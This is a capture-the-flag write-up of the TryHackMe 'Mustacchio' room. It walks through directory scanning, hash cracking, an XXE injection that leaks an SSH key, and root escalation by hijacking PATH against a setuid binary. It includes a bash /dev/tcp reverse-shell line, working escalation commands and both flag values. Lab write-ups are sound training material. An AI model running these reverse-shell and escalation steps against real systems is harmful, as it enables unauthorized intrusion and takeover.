Mustacchio - TryHackMe

Our goal is to capture two flags: user.txt and root.txt

Contents


.Reconnaissance	1
2.Gobuster	2
B.Hash crack	
l.Nmap	
5.Burpsuite	7
S.SSH.	
⁷ .Root	
3.Summary:	

1.Reconnaissance

We start by checking if the host is up.


```
"[root@parrot] - [/home/user]
"#ping 10.10.144.67
PING 10.10.144.67 (10.10.144.67) 56(84) bytes of data.
64 bytes from 10.10.144.67: icmp_seq=1 ttl=63 time=46.4 ms
64 bytes from 10.10.144.67: icmp_seq=2 ttl=63 time=46.8 ms
^C
--- 10.10.144.67 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 46.405/46.586/46.767/0.181 ms
```

However, there's nothing interesting on the page.





HOME ABOUT GALLERY BLOG CONTACT










However, there's nothing interesting on the page.

2.Gobuster

We run Gobuster to scan for accessible directories on the website.

```
[root@parrot]-[/home/user]
   #gobuster dir -u 10.10.144.67 -w /home/user/Desktop/21/common.txt
  ------
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
+1 Url:
                      http://10.10.144.67
[+] Method:
                      GET
+1 Threads:
                      10
[+] Wordlist:
                      /home/user/Desktop/21/common.txt
[+] Negative Status codes:
                      404
+] User Agent:
                      gobuster/3.6
[+] Timeout:
                      10s
Starting gobuster in directory enumeration mode
------
                 (Status: 403) [Size: 277]
.htpasswd
                (Status: 403) [Size: 277]
.htaccess
.hta
                 (Status: 403) [Size: 277]
custom
                 (Status: 301) [Size: 313] [--> http://10.10.144.67/custom/]
                (Status: 301) [Size: 312] [--> http://10.10.144.67/fonts/]
fonts
                (Status: 301) [Size: 313] [--> http://10.10.144.67/images/]
'images
/index.html
                 (Status: 200) [Size: 1752]
robots.txt
                (Status: 200) [Size: 28]
                (Status: 403) [Size: 277]
server-status
Progress: 4746 / 4747 (99.98%)
Finished
_____
```

In the /custom directory, we find a backup file named – user.bak



Index of /custom/js



Apache/2.4.18 (Ubuntu) Server at 10.10.144.67 Port 80

After downloading and inspecting it, we discover it's a SQLite database.

```
#file /home/user]


#file /home/user/Desktop/users.bak
/home/user/Desktop/users.bak: SQLite 3.x database, last written using SQLite ver
sion 3034001, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, ver
sion-valid-for 2

users.bak

[root@parrot]-[/home/user]
#
```

3. Hash crack


Upon opening the database, we find an admin username and a password hash.



We crack the hash using CrackStation.



Free Password Hash Cracker



Download CrackStation's Wordlist

4.Nmap


We now have login credentials but haven't yet found a login form to use them. We scan for open ports.

```
#nmap -p- 10.10.144.67
Starting Nmap 7.94SVN (https://nmap.org)
Nmap scan report for 10.10.144.67
Host is up (0.051s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8765/tcp open ultraseek-http


Nmap done: 1 IP address (1 host up) scanned in 114.23 seconds
```

We discover an unusual open port: **8765**, which reveals a login form.

After logging in, we're shown a comment submission field.




There's nothing interesting visually or in the page source code.



After logging in, we're shown a comment submission field.


5.Burpsuite

Let's inspect what gets sent when a comment is submitted – using Burp Suite.




We notice the comment content is processed as XML – maybe it's vulnerable?

We try a simple XXE (XML External Entity) payload, and it returns a 200 OK, meaning the vulnerability likely exists.



In the response, we get info about the user Barry and an SSH key.

We then craft a request that retrieves the actual SSH key – but it must be submitted on the site itself, not via Burp.



We copy the key and apply the correct permissions with chmod 600.

```
[root@parrot]=[/home/user]
#chmod 600 /home/user/Desktop/id_rsa
```

6.SSH

When trying to log in via SSH, we realize the key is protected by a passphrase.

```
#ssh -i /home/user/Desktop/id_rsa barry@10.10.144.67
Enter passphrase for key '/home/user/Desktop/id_rsa':
```

We create a hash of the key and crack it using John the Ripper.

```
[root@parrot]=[/home/user/Desktop]
#python3 /home/user/Desktop/ssh2john.py /home/user/Desktop/id_rsa > id_rsa.hash
```

Now we can log in via SSH successfully.

```
[root@parrot]-[/home/user/Desktop]
    #ssh -i /home/user/Desktop/id_rsa barry@10.10.144.67
Enter passphrase for key '/home/user/Desktop/id_rsa':
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
 * Documentation: https://help.ubuntu.com
* Management:
* Support:
                  https://landscape.canonical.com
                  https://ubuntu.com/advantage
34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
barry@mustacchio:~$
```

We also find the first flag – user.txt.

```
barry@mustacchio:~$ ls -la
total 20
drwxr-xr-x 4 barry barry 4096 Jun 26 06:50 .
drwxr-xr-x 4 root root 4096 Jun 12 2021 ..
drwx----- 2 barry barry 4096 Jun 26 06:50 .cache
drwxr-xr-x 2 barry barry 4096 Jun 12 2021 .ssh
-rw-r---- 1 barry barry 33 Jun 12 2021 user.txt
barry@mustacchio:~$ cat user.txt
62d77a4d5f97d47c5aa38b3b2651b831
barry@mustacchio:~$
```

7.Root

Time to escalate privileges. We search for files with the SetUID bit – meaning they can be executed by regular users but run with root privileges.

barry@mustacchio:/usr/bin\$ find / -perm /u=s 2>/dev/null /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/passwd /usr/bin/pkexec /usr/bin/chfn /usr/bin/newgrp /usr/bin/at /usr/bin/chsh /usr/bin/newgidmap /usr/bin/sudo /usr/bin/newuidmap /usr/bin/gpasswd /home/joe/live_log /bin/ping /bin/ping6 /bin/umount /bin/mount /bin/fusermount /bin/su barry@mustacchio:/usr/bin\$

We find a suspicious file: /home/joe/live_log.

```
barry@mustacchio:/home/joe$ strings live_l
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
orintf
system
_cxa_finalize
setgid
_libc_start_main
GLIBC 2.2.5
_ITM_deregisterTMCloneTable
_gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
_do_global_dtors_aux
completed.8060
```

Inspecting what it calls internally, we see it executes tail, but without specifying the full path — meaning we might hijack it using the PATH variable.

We confirm it runs with root privileges – lucky us :)

```
barry@mustacchio:/home/joe$ ls -l live_log
-rwsr-xr-x 1 root root 16832 Jun 12 2021 live_log
```

The file has no extension, but it's executable – likely a script.

```
barry@mustacchio:/home/joe$ file live_log
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
b02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped
```

At first, I tried to get a reverse shell as root – it failed. Then I created a temporary directory and placed a fake tail command there.

```
barry@mustacchio:/home/joe$ echo '#!/bin/bash bash -i >& /dev/tcp/10.21.136.129/997 0>&1' >/tmp/tail
barry@mustacchio:/home/joe$ chmod +x /tmp/tail
barry@mustacchio:/home/joe$ export PATH=/tmp:$PATH
barry@mustacchio:/home/joe$ ./live_log
/bin/bash: bash -i >& /dev/tcp/10.21.136.129/997 0>&1: No such file or directory
Live Nginx Log Readerbarry@mustacchio:/home/joe$
barry@mustacchio:/home/joe$
barry@mustacchio:/home/joe$ echo '#!/bin/bash bash -i >& /dev/tcp/10.21.136.129/997 0>&1' >/hack/tail
-bash: /hack/tail: No such file or directory
barry@mustacchio:/home/joe$
barry@mustacch
```

Eventually, privilege escalation worked – because the system picked up my fake tail binary from the modified PATH instead of the real one.

```
barry@mustacchio:/home/joe$ mkdir /tmp/atk
barry@mustacchio:/home/joe$ cd /tmp/atk
barry@mustacchio:/tmp/atk$ export PATH=/tmp/atk:$PATH
barry@mustacchio:/tmp/atk$ cho '#!/bin/bash' > tail
No command 'cho' found, did you mean:
Command 'cht' from package 'chemtool' (universe)
Command 'who' from package 'coreutils' (main)
Command 'cdo' from package 'cdo' (universe)
Command 'co' from package 'rcs' (universe)
Command 'echo' from package 'coreutils' (main)
cho: command not found
barry@mustacchio:/tmp/atk$ echo '#!/bin/bash' > tail
barry@mustacchio:/tmp/atk$ echo '/bin/bash' >> tail
barry@mustacchio:/tmp/atk$ chmod +x tail
barry@mustacchio:/tmp/atk$ cd /home/joe
barry@mustacchio:/home/joe$ ./live_log
root@mustacchio:/home/joe#
```

Time to retrieve the root flag.

```
root@mustacchio:/home/joe# cat /root/root.txt
3223581420d906c4dd1a5f9b530393a5
root@mustacchio:/home/joe#
```

8.Summary:

This CTF was fairly simple, except for the XXE part – I lost a lot of time trying it through Burp Suite instead of directly on the site.

It was a good opportunity to practice a classic attack chain and a clean privilege escalation.